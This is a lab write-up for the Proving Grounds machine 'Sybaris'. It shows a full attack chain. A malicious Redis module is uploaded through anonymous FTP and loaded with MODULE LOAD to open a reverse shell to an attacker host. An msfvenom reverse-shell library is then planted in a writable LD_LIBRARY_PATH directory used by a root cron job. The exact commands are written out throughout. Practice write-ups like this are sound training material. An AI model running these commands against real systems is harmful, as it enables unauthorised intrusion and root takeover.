Skip to content

Sybaris Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Sybaris combines anonymous FTP write access with Redis’s MODULE LOAD command to get code execution: upload a malicious Redis module over FTP, then load it from its guessed on-disk path. From there, a root cron job with a hijackable LD_LIBRARY_PATH entry gives root.

Reconnaissance

Nmap

Scan all ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed
22/tcp   open  ssh     OpenSSH 7.4
80/tcp   open  http    Apache httpd 2.4.6 (CentOS) PHP/7.3.22 (HTMLy v2.7.5)
6379/tcp open  redis   Redis key-value store 5.0.9
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

FTP allows anonymous login and Redis has no authentication. Verify both.

FTP and Redis checks

Confirm anonymous FTP access.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
Name: anonymous
230 Login successful.
ftp> cd pub
ftp> ls
(empty, but world-writable)

An empty but writable pub directory. Redis is cleartext, so talk to it directly over telnet.

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP 6379
┌──(kali㉿kali)-[~]
└─$ DBSIZE
:0

No keys stored, but anonymous write access to FTP plus an open Redis instance is enough to chain into code execution.

Exploitation

Redis MODULE LOAD via anonymous FTP

Build a Redis module that can run shell commands, using the ExecuteCommand module.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
┌──(kali㉿kali)-[~]
└─$ cd RedisModules-ExecuteCommand
┌──(kali㉿kali)-[~]
└─$ make
cp ./src/module.so .

Upload the compiled module to the writable FTP directory.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ cd pub
┌──(kali㉿kali)-[~]
└─$ put module.so
226 Transfer complete.

vsFTPd defaults to /var/ftp/, so the module should have landed at /var/ftp/pub/module.so. Load it into Redis by path.

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP 6379
┌──(kali㉿kali)-[~]
└─$ MODULE LOAD /var/ftp/pub/module.so
+OK

The module is loaded and its custom commands are available.

┌──(kali㉿kali)-[~]
└─$ system.exec "id"
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)

Catch a full reverse shell with the module’s built-in command.

┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ system.rev $ATTACKER_IP $ATTACKER_PORT
id
uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)

Shell as pablo. local.txt sits in the home directory.

Privilege Escalation

Shared-object hijack via LD_LIBRARY_PATH cron job

A root cron job runs every minute.

┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
*  *  *  *  * root  /usr/bin/log-sweeper

The crontab sets a custom LD_LIBRARY_PATH that includes two extra directories. One of them is world-writable and comes first in the search order.

┌──(kali㉿kali)-[~]
└─$ ls -lah /usr/local/lib/dev /usr/local/lib/utils
drwxrwxrwx 2 root root   6 /usr/local/lib/dev
drwxr-xr-x 2 root root  22 /usr/local/lib/utils
-rwxr-xr-x 1 root root 476 /usr/local/lib/utils/utils.so

log-sweeper loads utils.so from that path. Dropping a malicious library of the same name into the writable directory lets it be picked up first.

┌──(kali㉿kali)-[~]
└─$ ldd /usr/bin/log-sweeper
utils.so => not found
libc.so.6 => /lib64/libc.so.6

Generate a malicious shared object as a reverse-shell payload and stage it over the same anonymous FTP write access.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p linux/x64/shell_reverse_tcp -f elf-so -o utils.so LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
Saved as: utils.so
┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ cd pub
┌──(kali㉿kali)-[~]
└─$ put utils.so
226 Transfer complete.
┌──(kali㉿kali)-[~]
└─$ cp /var/ftp/pub/utils.so /usr/local/lib/dev/utils.so

Wait for the minutely cron job to run log-sweeper, which loads the planted library ahead of the legitimate one.

┌──(kali㉿kali)-[~]
└─$ nc -lvp $ATTACKER_PORT
id
uid=0(root) gid=0(root) groups=0(root)

The hijacked library executes as root when the cron job runs it.

References